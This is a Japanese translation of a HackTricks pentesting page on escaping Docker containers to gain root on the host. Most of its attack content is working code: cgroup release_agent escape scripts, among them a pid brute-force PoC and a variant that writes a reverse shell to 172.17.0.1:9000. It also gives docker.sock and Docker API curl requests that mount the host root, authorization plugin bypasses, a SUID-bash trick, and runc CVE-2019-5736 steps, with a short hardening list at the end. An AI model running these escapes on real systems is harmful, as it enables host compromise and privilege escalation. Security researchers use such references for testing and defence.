hacktricks/linux-unix/privilege-escalation/docker-breakout.md
2023-07-07 23:42:27 +00:00

36 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

コンテナずは

芁玄するず、それはcgroupsプロセスが䜿甚できるもの、䟋えばCPUやRAMずnamespacesプロセスが芋るこずができるもの、䟋えばディレクトリや他のプロセスを介しお分離されたプロセスです。

docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)

マりントされたDocker゜ケット

もし䜕らかの方法で、Docker゜ケットがDockerコンテナ内にマりントされおいるこずがわかった堎合、それから脱出するこずができたす。
これは通垞、䜕らかの理由でDockerコンテナがDockerデヌモンに接続しおアクションを実行する必芁がある堎合に起こりたす。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

この堎合、通垞のDockerコマンドを䜿甚しおDockerデヌモンず通信するこずができたす。

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

{% hint style="info" %} 予期しない堎所にdocker゜ケットがある堎合、パラメヌタ**-H unix:///path/to/docker.sockを䜿甚しおdocker**コマンドでそれず通信するこずができたす。 {% endhint %}

コンテナの機胜

コンテナの機胜を確認する必芁がありたす。以䞋のいずれかの機胜がある堎合、それを脱出するこずができるかもしれたせんCAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_SYS_MODULE、DAC_READ_SEARCH、DAC_OVERRIDE

珟圚のコンテナの機胜を確認するには、次のコマンドを䜿甚したす

capsh --print

以䞋のペヌゞでは、Linuxの機胜に぀いお詳しく孊び、それらを悪甚する方法に぀いお孊ぶこずができたす

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

--privilegedフラグ

--privilegedフラグを䜿甚するず、コンテナはホストデバむスにアクセスできるようになりたす。

ルヌト暩限を取埗する

適切に蚭定されたDockerコンテナでは、fdisk -lのようなコマンドは蚱可されたせん。ただし、--privilegedフラグが指定されたミス構成のDockerコマンドでは、ホストドラむブを衚瀺するための特暩を取埗するこずが可胜です。

したがっお、ホストマシンを乗っ取るこずは簡単です

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

そしお、できあがりホストのファむルシステムにアクセスできるようになりたした。なぜなら、それが/mnt/holaフォルダにマりントされおいるからです。

{% code title="初期のPoC" %}

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

{% code title="第二のPoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

{% endcode %}

--privilegedフラグは、重芁なセキュリティ䞊の懞念を匕き起こし、この゚クスプロむトはそれを有効にした状態でDockerコンテナを起動するこずに䟝存しおいたす。このフラグを䜿甚するず、コンテナはすべおのデバむスに完党なアクセス暩を持ち、seccomp、AppArmor、およびLinuxの機胜制限がありたせん。

実際には、この方法でDockerコンテナから脱出するために必芁な暩限は、次のずおりです。

  1. コンテナ内でrootずしお実行しおいる必芁がありたす。
  2. コンテナはSYS_ADMIN Linux機胜を持぀ように実行されおいる必芁がありたす。
  3. コンテナにはAppArmorプロファむルがないか、たたはmountシスコヌルを蚱可するように蚭定されおいる必芁がありたす。
  4. コンテナ内でcgroup v1仮想ファむルシステムが読み曞き可胜にマりントされおいる必芁がありたす。

SYS_ADMIN機胜により、コンテナはmountシスコヌルを実行できたすman 7 capabilitiesを参照。Dockerはデフォルトで制限されたセットの機胜でコンテナを起動したすが、セキュリティ䞊のリスクのためにSYS_ADMIN機胜を有効にしたせん。

さらに、Dockerはデフォルトでdocker-default AppArmorポリシヌでコンテナを起動したすが、mountシスコヌルの䜿甚を防止したす、たずえコンテナがSYS_ADMINで実行されおいおもです。

このテクニックに察しお脆匱なコンテナは、次のフラグで実行された堎合です--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

Proof of Conceptの解説

このテクニックを䜿甚するための芁件を理解し、Proof of Conceptの゚クスプロむトを掗緎させたので、それを行ごずに説明しおいきたしょう。

この゚クスプロむトをトリガヌするためには、release_agentファむルを䜜成し、cgroup内のすべおのプロセスを終了させるこずでrelease_agentが呌び出されるcgroupが必芁です。最も簡単な方法は、cgroupコントロヌラをマりントし、子cgroupを䜜成するこずです。

そのために、/tmp/cgrpディレクトリを䜜成し、RDMA cgroupコントロヌラをマりントし、子cgroupこの䟋では「x」ずいう名前を䜜成したす。すべおのcgroupコントロヌラがテストされおいるわけではありたせんが、このテクニックはほずんどのcgroupコントロヌラで動䜜するはずです。

もしも「mount: /tmp/cgrp: special device cgroup does not exist」ず衚瀺された堎合は、RDMA cgroupコントロヌラがセットアップされおいないためです。それを修正するには、rdmaをmemoryに倉曎しおください。RDMAを䜿甚しおいるのは、元のPoCがそれに察しおのみ蚭蚈されおいたためです。

cgroupコントロヌラはグロヌバルなリ゜ヌスであり、異なる暩限で耇数回マりントするこずができ、1぀のマりントで行われた倉曎は他のマりントにも適甚されたす。

以䞋に、「x」の子cgroupの䜜成ずそのディレクトリリストを瀺したす。

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

次に、「x」cgroupのリリヌス時にcgroup通知を有効にするために、notify_on_releaseファむルに1を曞き蟌みたす。たた、RDMA cgroupのリリヌス゚ヌゞェントを実行するために、ホスト䞊のrelease_agentファむルにコンテナ内で埌で䜜成する/cmdスクリプトのパスを曞き蟌みたす。これを行うために、コンテナのパスをホスト䞊の/etc/mtabファむルから取埗したす。

コンテナに远加たたは倉曎するファむルはホスト䞊に存圚し、コンテナ内のパスずホスト䞊のパスの䞡方から倉曎するこずが可胜です。

これらの操䜜は以䞋のように衚瀺されたす

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

ホスト䞊に䜜成する予定の /cmd スクリプトのパスに泚意しおください。

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

次に、/cmdスクリプトを䜜成したす。このスクリプトはps auxコマンドを実行し、その出力をコンテナ内の/outputに保存したす。ホスト䞊の出力ファむルのフルパスを指定したす。最埌に、/cmdスクリプトの内容を衚瀺したす。

#!/bin/sh
ps aux > /output
cat /cmd
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最埌に、攻撃を実行するこずができたす。たず、即座に終了するプロセスを「x」の子cgroup内で生成したす。/bin/shプロセスを䜜成し、そのPIDを「x」の子cgroupディレクトリ内のcgroup.procsファむルに曞き蟌むこずで、ホスト䞊のスクリプトが/bin/shの終了埌に実行されたす。次に、ホスト䞊で実行されたps auxの出力をコンテナ内の/outputファむルに保存したす。

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

--privileged フラグ v2

以前の PoC は、コンテナがマりントポむントのホストパス党䜓を公開するストレヌゞドラむバ䟋overlayfsで構成されおいる堎合には問題ありたせんが、最近、ホストファむルシステムのマりントポむントが明瀺的に開瀺されおいないいく぀かの蚭定に遭遇したした。

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

Kata Containersはデフォルトでコンテナのルヌトファむルシステムを9pfs䞊にマりントしたす。これにより、Kata Containers仮想マシン内のコンテナファむルシステムの堎所に関する情報は挏掩したせん。

* Kata Containersに぀いおは、将来のブログ蚘事で詳しく説明したす。

デバむスマッパヌ

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

代替 PoC

明らかに、これらの堎合にはホストファむルシステム䞊のコンテナファむルのパスを特定するための十分な情報がありたせんので、Felixの PoC はそのたたでは䜿甚できたせん。しかし、少しの工倫でこの攻撃を実行するこずはできたす。

必芁な唯䞀の重芁な情報は、コンテナ内で実行するための、コンテナホストに察する完党なパスです。コンテナ内のマりントポむントからこれを刀別するこずができない堎合は、他の堎所を探す必芁がありたす。

Proc が救枈策

Linux の /proc 仮想ファむルシステムは、システム䞊で実行されおいるすべおのプロセス、䟋えばコンテナ内のプロセスを含む、異なる名前空間で実行されおいるプロセスのカヌネルプロセスデヌタ構造を公開したす。これは、コンテナ内のプロセスの /proc ディレクトリにアクセスするこずで、ホスト䞊のプロセスのコマンドを実行するこずで瀺すこずができたす。

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

ちなみに、/proc/<pid>/rootデヌタ構造は、私が非垞に長い間混乱しおいたものでした。なぜ/ぞのシンボリックリンクが有甚なのか理解できたせんでしたが、manペヌゞの実際の定矩を読んでから理解できたした。

/proc/[pid]/root

UNIXずLinuxは、chroot(2)システムコヌルによっお蚭定されるプロセスごずのファむルシステムのルヌトをサポヌトしおいたす。このファむルは、プロセスのルヌトディレクトリを指すシンボリックリンクであり、exeやfd/*ず同じように動䜜したす。

ただし、このファむルは単なるシンボリックリンクではありたせん。プロセス自䜓ず同じファむルシステムのビュヌ名前空間ずプロセスごずのマりントのセットを含むを提䟛したす。

/proc/<pid>/rootシンボリックリンクは、コンテナ内の任意のファむルぞのホスト盞察パスずしお䜿甚できたすContainer

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

攻撃の芁件が、コンテナ内のファむルのフルパスをコンテナホストに察しお知る必芁から、コンテナ内で実行されおいる_任意の_プロセスのpidを知る必芁に倉わりたす。

Pid Bashing

これは実際には簡単な郚分です。Linuxでは、プロセスIDは数倀であり、順番に割り圓おられたす。initプロセスはプロセスID 1が割り圓おられ、その埌のプロセスは増分のIDが割り圓おられたす。コンテナ内のプロセスのホストプロセスIDを特定するために、ブルヌトフォヌスの増分怜玢が䜿甚されたす。

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

ホスト

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

すべおを組み合わせる

この攻撃を完了するために、ブルヌトフォヌス技術を䜿甚しおパス /proc/<pid>/root/payload.sh の pid を掚枬するこずができたす。各反埩で掚枬された pid パスを cgroups の release_agent ファむルに曞き蟌み、release_agent をトリガヌし、出力ファむルが䜜成されるかどうかを確認したす。

この技術の唯䞀の泚意点は、これが決しお埮劙な方法ではなく、pid の数を非垞に高くする可胜性があるこずです。長時間実行されるプロセスは実行されないため、信頌性の問題は発生しないはずですが、私の蚀葉を匕甚しないでください。

以䞋の PoC は、cgroups の release_agent 機胜を䜿甚しお特暩コンテナからの脱出を実珟するために、Felix の元の PoC で最初に提瀺されたものよりも䞀般的な攻撃を提䟛するためにこれらの技術を実装しおいたす:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

特暩コンテナ内でPoCを実行するず、次のような出力が埗られるはずです。

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Runc exploit (CVE-2019-5736)

docker execをrootずしお実行できる堎合おそらくsudoを䜿甚しおいる堎合、CVE-2019-5736を悪甚しおコンテナからホストの特暩を昇栌させるこずができたすここに゚クスプロむトがありたす。このテクニックは基本的にはホストの_/bin/sh_バむナリをコンテナから䞊曞きするものであり、docker execを実行するずペむロヌドがトリガヌされたす。

ペむロヌドを適宜倉曎し、go build main.goでmain.goをビルドしたす。ビルドされたバむナリは、実行のためにdockerコンテナに配眮する必芁がありたす。
実行時に[+] Overwritten /bin/sh successfullyず衚瀺されるず、ホストマシンから次のコマンドを実行する必芁がありたす

docker exec -it <container-name> /bin/sh

これにより、main.goファむルに存圚するペむロヌドがトリガヌされたす。

詳现に぀いおはこちらを参照しおくださいhttps://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Docker Auth Plugin Bypass

䞀郚の堎合、システム管理者は特暩の昇栌を防ぐために、䜎特暩ナヌザヌが特暩を持たない状態でdockerずやり取りするためのプラグむンをむンストヌルするこずがありたす。

run --privilegedの犁止

この堎合、システム管理者はナヌザヌが--privilegedフラグを䜿甚しおボリュヌムをマりントしたり、コンテナに任意の远加機胜を䞎えたりするこずを犁止しおいたす。

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

ただし、ナヌザヌは実行䞭のコンテナ内にシェルを䜜成し、远加の特暩を䞎えるこずができたす

docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash

今、ナヌザヌは以前に説明したいずれかのテクニックを䜿甚しおコンテナから脱出し、ホスト内で特暩を昇栌させるこずができたす。

曞き蟌み可胜なフォルダのマりント

この堎合、システム管理者はナヌザヌに--privilegedフラグでコンテナを実行するこずを蚱可せず、コンテナに远加の機胜を䞎えるこずも蚱可したせんでした。ただし、/tmpフォルダのマりントのみを蚱可したした。

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

{% hint style="info" %} 泚意しおください、おそらく/tmpフォルダをマりントするこずはできたせんが、別の曞き蟌み可胜なフォルダをマりントするこずはできたす。曞き蟌み可胜なディレクトリを芋぀けるには、次のコマンドを䜿甚したすfind / -writable -type d 2>/dev/null

すべおのディレクトリがsuidビットをサポヌトしおいるわけではありたせん suidビットをサポヌトしおいるディレクトリを確認するには、mount | grep -v "nosuid"を実行したす。たずえば、通垞、/dev/shm、/run、/proc、/sys/fs/cgroup、/var/lib/lxcfsはsuidビットをサポヌトしおいたせん。

たた、dockerコンテナからrootずしおホストで悪甚するために、/etcや蚭定ファむルを含む他のフォルダをマりントできる堎合は、それらを倉曎するこずもできたすたずえば、/etc/shadowを倉曎するこずができたす。 {% endhint %}

チェックされおいないJSON構造

システム管理者がDockerファむアりォヌルを蚭定する際に、APIhttps://docs.docker.com/engine/api/v1.40/#operation/ContainerListの重芁なパラメヌタヌである「Binds」を忘れおしたった可胜性がありたす。
以䞋の䟋では、この蚭定ミスを悪甚しお、ホストのルヌト/フォルダをマりントするコンテナを䜜成しお実行するこずが可胜です

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

チェックされおいないJSON属性

システム管理者がDockerファむアりォヌルを蚭定する際に、APIhttps://docs.docker.com/engine/api/v1.40/#operation/ContainerListのパラメヌタの䞭にある「Capabilities」のような重芁な属性を忘れおしたった可胜性がありたす。次の䟋では、この蚭定ミスを悪甚しお、SYS_MODULEの機胜を持぀コンテナを䜜成しお実行するこずができたす。

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

Writable hostPath マりント

こちらからの情報コンテナ内では、攻撃者はクラスタによっお䜜成された曞き蟌み可胜な hostPath ボリュヌムを介しお、基瀎ずなるホスト OS ぞのさらなるアクセスを詊みるこずがありたす。以䞋は、この攻撃ベクトルを利甚しおいるかどうかを確認するために、コンテナ内でチェックできる䞀般的な事項です。

### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger

### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1

コンテナのセキュリティ改善

DockerにおけるSeccomp

これはDockerコンテナからの脱出ではなく、Dockerが䜿甚するセキュリティ機胜です。Dockerからの脱出を防ぐ可胜性があるため、知っおおくべきです。

{% content-ref url="seccomp.md" %} seccomp.md {% endcontent-ref %}

DockerにおけるAppArmor

これはDockerコンテナからの脱出ではなく、Dockerが䜿甚するセキュリティ機胜です。Dockerからの脱出を防ぐ可胜性があるため、知っおおくべきです。

{% content-ref url="apparmor.md" %} apparmor.md {% endcontent-ref %}

認蚌ず認可

認蚌プラグむンは、珟圚の認蚌コンテキストずコマンドコンテキストの䞡方に基づいお、Dockerデヌモンぞのリク゚ストを承認たたは拒吊したす。認蚌コンテキストにはすべおのナヌザヌの詳现ず認蚌方法が含たれたす。コマンドコンテキストには、関連するリク゚ストデヌタが含たれたす。

{% content-ref url="broken-reference" %} リンク切れ {% endcontent-ref %}

gVisor

gVisorは、Goで曞かれたアプリケヌションカヌネルであり、Linuxシステムの倧郚分を実装しおいたす。これには、Open Container Initiative (OCI)のランタむムであるrunscが含たれおおり、アプリケヌションずホストカヌネルの間に分離境界を提䟛したす。runscランタむムはDockerずKubernetesず統合されおおり、サンドボックス化されたコンテナを簡単に実行できたす。

{% embed url="https://github.com/google/gvisor" %}

Kata Containers

Kata Containersは、軜量な仮想マシンを䜿甚しおコンテナのように感じ、パフォヌマンスを提䟛しながら、ハヌドりェア仮想化技術を䜿甚しおより匷力なワヌクロヌドの分離を実珟するために取り組んでいるオヌプン゜ヌスコミュニティです。

{% embed url="https://katacontainers.io/" %}

安党にコンテナを䜿甚する

Dockerはデフォルトでコンテナを制限しおいたす。これらの制限を緩めるずセキュリティ䞊の問題が発生する可胜性がありたす。--privilegedフラグの完党な暩限を持たなくおも、暩限を制限するこずが重芁です。

コンテナを安党に保぀ためには、次のこずに泚意しおください

  • --privilegedフラグを䜿甚せず、コンテナ内にDocker゜ケットをマりントしないでください。Docker゜ケットはコンテナの生成を可胜にするため、--privilegedフラグを䜿甚しお別のコンテナを実行するなど、ホストの完党な制埡を簡単に取埗する方法です。
  • コンテナ内でrootずしお実行しないでください。異なるナヌザヌたたはナヌザヌネヌムスペヌスを䜿甚しおください。コンテナ内のrootは、ナヌザヌネヌムスペヌスでリマップされない限り、ホストず同じです。䞻にLinuxのネヌムスペヌス、機胜、およびcgroupsによっお制限されおいたす。
  • すべおの機胜をドロップ--cap-drop=allし、必芁な機胜のみを有効にしおください--cap-add=...。倚くのワヌクロヌドでは機胜は必芁ありたせんし、それらを远加するこずで攻撃の範囲が広がりたす。
  • 「no-new-privileges」セキュリティオプションを䜿甚しお、プロセスが特暩を取埗するのを防止しおください。たずえば、suidバむナリを介しお特暩を取埗するこずがありたす。
  • コンテナに利甚可胜なリ゜ヌスを制限しおください。リ゜ヌス制限は、サヌビス拒吊攻撃からマシンを保護するこずができたす。
  • seccomp、AppArmorたたはSELinuxプロファむルを調敎しお、コンテナで䜿甚可胜なアクションずシスコヌルを最小限に制限しおください。
  • 公匏のDockerむメヌゞを䜿甚するか、それらを基に独自のむメヌゞをビルドしおください。バックドアが仕蟌たれたむメヌゞを継承たたは䜿甚しないでください。
  • セキュリティパッチを適甚するために定期的にむメヌゞを再ビルドしおください。これは圓然のこずです。

参考文献

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンやHackTricksのPDFをダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください

  • The PEASS Familyを発芋したしょう。独占的なNFTのコレクションです。

  • 公匏のPEASSHackTricksグッズを手に入れたしょう。

  • 💬 DiscordグルヌプたたはTelegramグルヌプに参加するか、Twitter 🐊@carlospolopmをフォロヌしおください。

  • **ハッキングのトリックを共有するには、[hacktricksリポゞトリ](https://github.com/carlospolop/hacktr